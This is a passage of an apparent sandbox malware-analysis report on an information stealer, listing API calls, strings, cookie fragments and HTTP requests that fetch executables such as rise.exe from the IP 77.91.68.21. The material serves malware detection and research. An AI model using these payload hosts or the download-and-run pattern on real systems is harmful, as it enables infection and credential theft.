"System.Net.HttpWebResponse" and MemberReference "get_StatusCode" in "rise.exe" Observed Namespace "System.Net.WebClient" and MemberReference ".ctor" in "rise.exe" Observed Namespace "System.Net.WebClient" and MemberReference "get_Headers" in "rise.exe" Observed Namespace "System.Net.WebClient" and MemberReference "set_CachePolicy" in "rise.exe" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadFile" in "rise.exe" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_ProtocolVersion" in "FANBooster131.exe" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_UserAgent" in "FANBooster131.exe" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_Accept" in "FANBooster131.exe" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_Referer" in "FANBooster131.exe" Observed Namespace "System.Net.HttpWebResponse" and MemberReference "get_StatusCode" in "FANBooster131.exe" Observed Namespace "System.Net.WebClient" and MemberReference ".ctor" in "FANBooster131.exe" Observed Namespace "System.Net.WebClient" and MemberReference "get_Headers" in "FANBooster131.exe" Observed Namespace "System.Net.WebClient" and MemberReference "set_CachePolicy" in "FANBooster131.exe" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadFile" in "FANBooster131.exe" Observed Namespace "System.Net.WebClient" and MemberReference ".ctor" in "ev.exe" Observed Namespace "System.Net.WebClient" and MemberReference ".ctor" in "R83RL20231230_1_.exe" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadFile" in "R83RL20231230_1_.exe" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadData" in "R83RL20231230_1_.exe"59:T622,"77.91.68.21" Potential IP "77.91.68.21" found in string "GET /lend/Setup1234.exe HTTP/1.1Host: 77.91.68.21" Potential IP "77.91.68.21" found in string "GET /lend/R83RL20231230.exe HTTP/1.1Host: 77.91.68.21" Potential IP "77.91.68.21" found in string "GET /mine/rise.exe HTTP/1.1Host: 77.91.68.21" "11.0.0.0" "17.0.0.0" "17.8.0.0" Potential IPs "67.218.111.202" "67.218.111.202" found in string "{ "input": "67.218.111.202", "data": { "ip": "67.218.111.202", "city": "San Jose", "region": "California", "country": "US", "loc": "37.3394 -121.8950", "org": "AS11404 Wave Broadband", "postal": "95103", "timezone": "America", "192.168.241.14", Potential IP "3.0.0.0" found in string "ystem.Management.Automation.resources 3.0.0.0 en-US 31bf3856ad364e35", Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.ConsoleHost.resources 3.0.0.0 en-US 31bf3856ad364e35", Potential IP "4.0.0.0" found in string "n=4.0.0.0 C", "1.0.0.0", "1.0.0.1", "1.3.6.1", "2.5.4.6", "2.5.4.8", "2.5.4.7", "2.5.4.10", "2.5.4.3", "2.5.29.19", "2.5.29.14", Potential IP "2.5.29.37" found in string "%2.5.29.37", "2.5.29.15", "2.5.29.32", Potential IP "2.5.29.35" found in string "#2.5.29.35", "2.5.29.31", "2.5.29.17", Potential IP "1.0.0.1" found in string "??\c:\program files (x86)\windowspowershell\modules\packagemanagement\1.0.0.1\packagemanagement.psd1", "2.5.29.1", "2.5.29.16", "2.5.29.10", "2.5.4.11", "2.5.4.5", Potential IP "3.0.0.0" found in string "ersion=3.0.0.0 Culture=neutral PublicKeyToken=31bf3856ad364e35 ProcessorArchitecture=msil"5a:T3f23,Pattern match: "https://www.facebook.com/login" Pattern match: "https://accounts.google.com/" Pattern match: "Q.Sz/tT" Heuristic match: "[@k;.pk" Heuristic match: "KQ.tl" Heuristic match: "F$z.cR" Heuristic match: "f3.sY" Heuristic match: "E#.bT" Heuristic match: "cO.lA" Heuristic match: "K;Q.Pw" Pattern match: "support.mozilla.org/en-US/products/firefoxgro.allizom.troppus.InZDa42Ct3F8+https://app.vssps.visualstudio.com/_signin?realm=my.visualstudio.com&reply_to=https%3A%2F%2Fmy.visualstudio.com%2FBenefits%3Fwt.mc_id%3Do~msft~vscom~nav%26campaign%3Do~msft~vscom~na" Pattern match: "8vUumicrosoft.comMUID12a11495-8216-468c-b4ef-91a01564edd7.microsoft.com/_q1,9microsoft.comthx_guid459f7c585ccc4e1bae96039138b93fdevlscppe.microsoft.com/dq1,9visualstudio.comFedAuth1d01NazVCRm1HU0NFTjZ5bFNFbEZqaFk4cXAvdWtaRGFtWUtLNTJHRHRRWnVnYWJPWkg0RHYrYUN" Pattern match: "accounts.google.com/InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=ASKXGp2EbsnSubvRJMwzZy8cSJL8WjgJNKdUBJgPsZIANeJNS85G7InooJlMoQ87bGvF1DIRRzSE3wSign" Pattern match: "learn.microsoft.com/en-us/cpp/windows/latest-supported-vc-redist?view=msvc-170Latest" Pattern match: "search.yahoo.com/favicon.icohttps://search.yahoo.com/search{google:pathWildcard}?ei={inputEncoding}&fr=crmas_sfp&p={searchTerms}UTF-8https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command={searchTerms}485bf7d3-0215-45af-87dc-53886800000" Pattern match: "https://ntp.msn.com/edge/ntp?locale=en&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531edge://settings/profileskeygjgieestate_{edge://settingsedge://settings/edge://settings/?search=smartkeygr10nmstate_{edge://settingsedge://settings/?search=smartedge" Pattern match: "edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_etree_light.png/1.1.9/asset2caf0cf4-ea42-4083-b928-29b39da1182bhttps://edgeassetservice.azureedge.net/assets/edge_hub_apps_dall_e_light.png/1.0.11/asset8682d0fa-50b3-4ece-aa5b-e0b33f9919e2https://" Pattern match: "https://ntp.www.office.com&_https://ntp.msn.comCookieSyncExpiry'_https://ntp.msn.comDefaultFeedPolicy_https://ntp.msn.comGpuExist/_https://ntp.msn.comNOTIFICATION_CACHE_LS_KEY_https://ntp.msn.combkgdV+_https://ntp.msn.combreakingNewsDismissed" Pattern match: "www2.bing.comMUIDB/www.bing.comMUIDB/.msn.comUSRLOC/.microsoft.comMUID/.bing.com_RwBf/.bing.comSRCHUID/.bing.comSRCHD/.mediago.io__mguid_/.ups.comAMCV_036784BD57A8BB277F000101%40AdobeOrg/.mgid.commuidn/.ups.comups_language_preference/.scorecardresearch.co" Pattern match: "www2.bing.comMUIDB/www.bing.comMUIDB/.msn.comUSRLOC/.microsoft.comMUID/.bing.com_RwBf/.bing.comSRCHUID/.bing.comSRCHD/.mediago.io__mguid_/.ups.comAMCV_036784BD57A8BB277F000101%40AdobeOrg/.facebook.com_js_datr/.mgid.commuidn/.ups.comups_language_preference" Pattern match: "accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=ASKXGp1vE3ruVI1Xiu7ir5CRJBM6XClFhVSUF2eLqXmO9pHx3-vXN7eIGpEJORGL8PmzYmcitnQfOg&passive=1209600&flowName=GlifWebSignIn&" Pattern match: "www.facebook.com/ajax/browser_error_reports/?device_level=unknown" Pattern match: "github.com/notepad-plus-plus/notepad-plus-plus/releases/download/v8.4.7/npp.8.4.7.portable.x64.7zhttps://objects.githubusercontent.com/github-production-release-asset-2e65be/33014811/42d9bc38-89f0-48d8-94ec-d1f3649d2fc3?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-A" Pattern match: "https://chrome.google.com/webstore},urls:[https://chrome.google.com/webstore]},description:Discover" Pattern match: "https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE53r3l?ver=5412,PORTRAIT:https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE53bta?ver=2bf3,update_period:86400},creativeId:128000000003595" Pattern match: "https://t.me/RiseProSUPPORT" Pattern match: "https://www.facebook.com/loginLog" Pattern match: "https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=ASKXGp1vE3ruVI1Xiu7ir5CRJBM6XClFhVSUF2eLqXmO9pHx3-vXN7eIGpEJORGL8PmzYmcitnQfOg&passive=1209600&flowName=GlifWe" Pattern match: "www.bing.comTRUE/FALSE1712155557MUIDBENC893*_djEw4urjEw1joXvJGUkuBOttk3Zt5cvSNq2TsqL1CmPvjzf08Xufaogz986sf//gNHOKhGhY6OKnQaDhM2Xf_tB9T/XyR7rQWd8i0MVB6px2KjfP0LeViW311oWMiuEI=*www2.bing.comTRUE/FALSE1712155558MUIDBENC893*_djEw9rUzoyNmBGzKT4gBIZDDOFQxKwKEVlE" Pattern match: "https://googleads.g.doubleclick.net/next-map-idQnamespace-3bbc91a6_51d0_4200_9fa7_2e3ec0fddf25-https://tpc.googlesyndication.com/34U" Pattern match: "https://www.clarity.ms,supports_spdy:true},{anonymization:[],server:https://microsoftedgewelcome.microsoft.com,supports_spdy:true},{anonymization:[],server:https://edgefrecdn.azureedge.net,supports_spdy:true},{anonymization:[],server" Pattern match: "https://t.me/risepro_bot" Pattern match: "www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.GGqU-YUcxZ8.es5.O/ck=boq-identity.AccountsSignInUi.uoKmthsUvR4.L.W.O/am=P4GFJBwLgBgzyzl_zzg5DAAAAAAAAAAAsAawAw/d=1/exm=A7fCU,AvtSve,Ctsu,EFQ78c,EGw7Od,EN3i8d,I6YDgd,IZ1fbc,IZT63," Pattern match: "www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.GGqU-YUcxZ8.es5.O/ck=boq-identity.AccountsSignInUi.uoKmthsUvR4.L.W.O/am=P4GFJBwLgBgzyzl_zzg5DAAAAAAAAAAAsAawAw/d=1/exm=AvtSve,Ctsu,EFQ78c,EGw7Od,EN3i8d,I6YDgd,IZ1fbc,IZT63,K0PMbc" Pattern match: "www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.GGqU-YUcxZ8.es5.O/ck=boq-identity.AccountsSignInUi.uoKmthsUvR4.L.W.O/am=P4GFJBwLgBgzyzl_zzg5DAAAAAAAAAAAsAawAw/d=1/exm=AvtSve,EFQ78c,EGw7Od,EN3i8d,I6YDgd,IZT63,K0PMbc,KUM7Z,L1AAk" Pattern match: "www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.GGqU-YUcxZ8.es5.O/ck=boq-identity.AccountsSignInUi.uoKmthsUvR4.L.W.O/am=P4GFJBwLgBgzyzl_zzg5DAAAAAAAAAAAsAawAw/d=1/exm=LEikZe,_b,_tp,byfTOb,lsjVmc/excm=_b,_tp,identifierview/ed=1" Pattern match: "www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.GGqU-YUcxZ8.es5.O/ck=boq-identity.AccountsSignInUi.uoKmthsUvR4.L.W.O/am=P4GFJBwLgBgzyzl_zzg5DAAAAAAAAAAAsAawAw/d=1/exm=_b,_tp/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEml" Pattern match: "https://notepad-plus-plus.org/downloads/v8.4.7/C:\Users\HAPUBWS\Downloads\npp.8.4.7.portable.x64.7zhttps://notepad-plus-plus.org/downloads/v8.4.7/C:\Users\HAPUBWS\Downloads\npp.8.4.7.portable.x64.ziphttps://learn.microsoft.com/en-us/cpp/windows/latest-supp" Pattern match: "www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.GGqU-YUcxZ8.es5.O/am=P4GFJBwLgBgzyzl_zzg5DAAAAAAAAAAAsAawAw/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlGpVfFFjzFwga6k1lyVUuoofdXHYw/m=_b,_tp" Pattern match: "assets.db/MANIFEST-0000012024/01/06-02:10:20.959" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3i7M54/yU/l/en_US/NJVgMHwCLBZ.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3ihVQ4/y8/l/en_US/Ch_YChJCKQS.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yU/r/Jn0xcQmjzFV.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yx/r/GIlJjyzEguQ.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yE/r/xGzxHIbkRpC.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yE/r/_BJqgRg0BU5.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yX/r/Q1EATFzuRFp.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/ym/r/RxPOZF3XHzp.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yp/r/sKtrEJAtiUM.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yh/r/ysfm_2i9xtW.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yz/r/lFK_RCKM9IT.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yC/r/M08arqdo_nN.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/y8/r/geBIVlu_61M.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/y2/r/3FPJ9YC_wUr.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yv/r/HtdXy-2D6mm.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yP/r/aBIoq18cchP.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yq/r/6bjw9N12j0I.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "static.xx.fbcdn.net/rsrc.php/v3/yv/r/qvzskUrYlYC.js?_nc_x=Ij3Wp8lg5Kz" Heuristic match: "accounts.google.com" Heuristic match: "arc.msn.com" Heuristic match: "cdn.discordapp.com" Heuristic match: "connect.facebook.net" Heuristic match: "facebook.com" Heuristic match: "fbcdn.net" Heuristic match: "fbsbx.com" Heuristic match: "fonts.gstatic.com" Heuristic match: "i.ibb.co" Heuristic match: "play.google.com" Heuristic match: "static.xx.fbcdn.net" Pattern match: "www.bing.com" Pattern match: "www.facebook.com" Pattern match: "www.google.com" Pattern match: "www.gstatic.com" Pattern match: "assets.db/MANIFEST-000001" Pattern match: "assets.db/000003.log" Pattern match: "https://accounts.google.com/v3/signin/" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/ss/k=boq-identity.AccountsSignInUi.2JArRS0rdKQ.L.B1.O/am=P4GFJBwLgBgzyzl_zzg5DAAAAAAAAAAAsAawAw/d=1/ed=1/rs=AOaEmlGUXDwXINNWzklO1wonfVvc8nlj7Q/m=identifierview,_b,_tp" Pattern match: "fonts.gstatic.com/s/productsans/v9/pxiDypQkot1TnFhsFMOfGShVGdeOYktMqlap.woff2" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.GGqU-YUcxZ8.es5.O/am=P4GFJBwLgBgzyzl_zzg5DAAAAAAAAAAAsAawAw/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlGpVfFFjzFwga6k1lyVUuoofdXHYw/m=_b,_tp" Pattern match: "fonts.gstatic.com/s/roboto/v18/KFOkCnqEu92Fr1MmgVxFIzIXKMnyrYk.woff2" Pattern match: "https://accounts.google.com/AccountChooser?continue\u003dhttps://accounts.google.com/\u0026followup\u003dhttps://accounts.google.com/],[null,[null,null,https://accounts.google.com/Logout?continue\u003dhttps://accounts.google.com/restart?continue%3Dhttps:" Heuristic match: "%TEMP%\jobA3N197yiTuMlDC\Games\Battle.net" Pattern match: "http://www.w3.org/2001/XMLSchema-instance" Pattern match: "Microsoft.NET/Framework/v4.0.30319/" Heuristic match: "icrosoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q" Pattern match: "http://crt.comodoca.com/COMODORSAAddTrustCA.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "go.microsoft.com/fwlink/?LinkID=851034&clcid=0x409&" Pattern match: "https://wdcp.microsoft.com/wdcp.svc/submitReport" Pattern match: "crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z" Pattern match: "http://www.micros" Pattern match: "www.microsoft.com/PKI/docs/CPS/defau" Heuristic match: "ntrust.net" Heuristic match: "Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "Microsoft-Windows-Client-Features-WOW64-Package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "Microsoft.Net/assembly/GAC_MSIL/System.Management.Automation/v4.0_3.0.0.0__31bf3856ad364e35/System.Management.Automation.dll" Heuristic match: ":\WINDOWS\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "http://crl.usertrust.com/USERTrustRSACertificationAuthority.crl0v" Pattern match: "crt.usertrust.com/USERTrustRSAAddTrustCA.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0F" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/ThawtePCA-G3.crl0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0L" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0K" Pattern match: "http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=" Pattern match: "https://www.digicert.com/CPS0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=" Pattern match: "crl.usertrust.com/AddTrustExternalCARoot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/CPS" Pattern match: "https://www.verisign.com/CPS04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/MicRooCerAut2011_2011_03_22.crt0" Pattern match: "www.digicert.com1$0" Pattern match: "www.microsoft.com/pkiops/Docs/Repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "7www.entrust.net/CPS_2048" Pattern match: "crl.microsoft.com/pki/crl/products/MicCerLisCA2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/MicCerLisCA2011_2011-03-29.crt0" Pattern match: "http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt07" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "http://www.certplus.com/CRL/class2.crl0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "http://crl.securetrust.com/STCA.crl0" Pattern match: "0www.entrust.net/CPS" Pattern match: "http://repository.swisssign.com/0" Pattern match: "crl.comodoca.com/AAACertificateServices.crl06" Pattern match: "crl.comodo.net/AAACertificateServices.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "http://www.microsoft.com0" Pattern match: "www.microsoft.com/pkiops/crl/MicWinProPCA2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/MicWinProPCA2011_2011-10-19.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl0Z" Pattern match: "http://www.microsoft.com/pki/certs/MicTimStaPCA_2010-07-01.crt0" Pattern match: "https://connect.microsoft.com/PowerShell/feedback/details/421837" Pattern match: "http://pesterbdd.com/images/Pester.png" Pattern match: "https://github.com/Pester/Pester" Pattern match: "http://www.apache.org/licenses/LICENSE-2.0.html" Pattern match: "http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt0" Pattern match: "www.microsoft.com/PKI/docs/CPS/default.htm0@" Pattern match: "http://www.microsoft.com/windows" Pattern match: "http://www.microsof" Pattern match: "icrosoft.com/pki/crl/products/Miw" Pattern match: "www.microsoft.com/PKI/docs/Ch" Pattern match: "www.microsoft.com/pki/certs/M" Pattern match: "ww.microsoft.com/pki/certs/MicRooCerAut_2010-06-" Pattern match: "go.microsoft.com/fwlink/%" Heuristic match: ":\WINDOWS\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "em.Ma" Heuristic match: "C:\WINDOWS\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "9.15.cat"5b:T954,"2cD4503.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00005152) "2cD4503.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00005152) "2cD4503.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00005152) "2cD4503.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00005152) "2cD4503.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00005152) "2cD4503.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00005152) "2cD4503.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00005152) "2cD4503.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00005152) "2cD4503.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00005152) "2cD4503.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00005152) "2cD4503.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00005152) "2cD4503.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00005152) "2cD4503.exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00005152) "2cD4503.exe" called "FindNextFileW" with parameter sbs_mscorrc.dll (UID: 00000000-00005152) "2cD4503.exe" called "FindNextFileW" with parameter sbs_mscorsec.dll (UID: 00000000-00005152) "2cD4503.exe" called "FindNextFileW" with parameter sbs_system.configuration.install.dll (UID: 00000000-00005152) "2cD4503.exe" called "FindNextFileW" with parameter sbs_system.data.dll (UID: 00000000-00005152) "2cD4503.exe" called "FindNextFileW" with parameter sbs_system.enterpriseservices.dll (UID: 00000000-00005152) "2cD4503.exe" called "FindNextFileW" with parameter sbs_VsaVb7rt.dll (UID: 00000000-00005152) "2cD4503.exe" called "FindNextFileW" with parameter sbs_wminet_utils.dll (UID: 00000000-00005152) "2cD4503.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00005152) "2cD4503.exe" called "FindNextFileW" with parameter v1.0.3705 (UID: 00000000-00005152) "2cD4503.exe" called "FindNextFileW" with parameter v1.1.4322 (UID: 00000000-00005152) "2cD4503.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00005152)5c:Tfd8,file/memory contains long string with (Indicator: "aes"; File: "707b6ca7-80dc-4e23-88dd-24d50b18d3e7.tmp") file/memory contains long string with (Indicator: "base64"; File: "KL5RkAcVvoZ8Web Data") file/memory contains long string with (Indicator: "aes"; File: "e4a43fe6-8c9b-4a05-ab98-f51ac551747f.tmp") file/memory contains long string with (Indicator: "aes"; File: "1f5efac43b6a180f_0") file/memory contains long string with (Indicator: "aes"; File: "e8f1b16fe54135bc_0") file/memory contains long string with (Indicator: "aes"; File: "a4aa5560bdc6fadc_0") file/memory contains long string with (Indicator: "aes"; File: "80cef4288d776f06_0") file/memory contains long string with (Indicator: "aes"; File: "cd021bcb75390d0e_0") file/memory contains long string with (Indicator: "aes"; File: "b848f7151ebdf2cd_0") file/memory contains long string with (Indicator: "aes"; File: "4cb09bf81bae87c7_0") file/memory contains long string with (Indicator: "aes"; File: "ca68a6931f17747e_0") file/memory contains long string with (Indicator: "aes"; File: "b0ca2830e661136d_0") file/memory contains long string with (Indicator: "aes"; File: "51c3af6d880b1017_0") Found string "icrosoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00002928.00000001.72251.031A0000.00000004.mdmp") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00002928.00000001.72251.031A0000.00000004.mdmp, 00000000-00002928.00000001.72251.0327A000.00000004.mdmp, 00000000-00002928.00000001.72251.07710000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00002928.00000001.72251.0327A000.00000004.mdmp, 00000000-00002928.00000001.72251.07710000.00000004.mdmp") Found string "OFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00002928.00000001.72251.07710000.00000004.mdmp") Found string "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00002928.00000001.72251.07710000.00000004.mdmp") Found string "# dgs8UoxxWkZDFLyzs7BNZ8ifQv+AeSGAnhUwZuhCEl4ayJ4iIdBD6Svpu/RIzCzU" (Indicator: "aes"; Source: "00000000-00002928.00000001.72251.07710000.00000004.mdmp, 00000000-00002928.00000001.72251.08970000.00000002.mdmp") Found string "system.security.cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002928.00000001.72251.08B10000.00000004.mdmp, 00000000-00002928.00000001.72251.08B20000.00000004.mdmp, 00000000-00002928.00000001.72251.08B30000.00000004.mdmp, 00000000-00002928.00000001.72251.08BC0000.00000004.mdmp, 00000000-00002928.00000001.72251.08BE0000.00000004.mdmp, 00000000-00002928.00000001.72251.08C00000.00000004.mdmp") Found string "system.security.cryptography.x509certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002928.00000001.72251.08B10000.00000004.mdmp, 00000000-00002928.00000001.72251.08B20000.00000004.mdmp, 00000000-00002928.00000001.72251.08BC0000.00000004.mdmp, 00000000-00002928.00000001.72251.08BE0000.00000004.mdmp, 00000000-00002928.00000001.72251.08C00000.00000004.mdmp") Found string "md5cryptoserviceprovider" (Indicator: "md5cryptoserviceprovider"; Source: "00000000-00002928.00000001.72251.08B10000.00000004.mdmp") Found string "rngcryptoserviceprovider" (Indicator: "rngcryptoserviceprovider"; Source: "00000000-00002928.00000001.72251.08B10000.00000004.mdmp") Found string "rijndaelmanaged" (Indicator: "rijndael"; Source: "00000000-00002928.00000001.72251.08B10000.00000004.mdmp") Found string "rijndaelmanaged" (Indicator: "Rijndaelmanaged"; Source: "00000000-00002928.00000001.72251.08B10000.00000004.mdmp") Found string "rijndaelmanagedtransform" (Indicator: "rijndael"; Source: "00000000-00002928.00000001.72251.08B10000.00000004.mdmp") Found string "rijndaelmanagedtransform" (Indicator: "Rijndaelmanaged"; Source: "00000000-00002928.00000001.72251.08B10000.00000004.mdmp")5d:T50a,file/memory contains long string with (Indicator: "password"; File: "10HO4L7w6NXR98fwklHqtBQtR6AgClW2.zip") Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00002928.00000001.72251.08B20000.00000004.mdmp") Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00002928.00000001.72251.08B20000.00000004.mdmp") Found string "secretagreementflags" (Indicator: "secret"; Source: "00000000-00002928.00000001.72251.08BC0000.00000004.mdmp") Found string "safencryptsecrethandle" (Indicator: "secret"; Source: "00000000-00002928.00000001.72251.08BC0000.00000004.mdmp") Found string "passwordpropertytextattribute" (Indicator: "password"; Source: "00000000-00002928.00000001.72251.08BE0000.00000004.mdmp") Found string "passwordauthenticationmechanism" (Indicator: "password"; Source: "00000000-00002928.00000001.72251.08C00000.00000004.mdmp") Found string "passwordencodingmethod" (Indicator: "password"; Source: "00000000-00002928.00000001.72251.08C30000.00000004.mdmp") Found string "dsmakepasswordcredentials" (Indicator: "password"; Source: "00000000-00002928.00000001.72251.08C30000.00000004.mdmp") Found string "dsfreepasswordcredentials" (Indicator: "password"; Source: 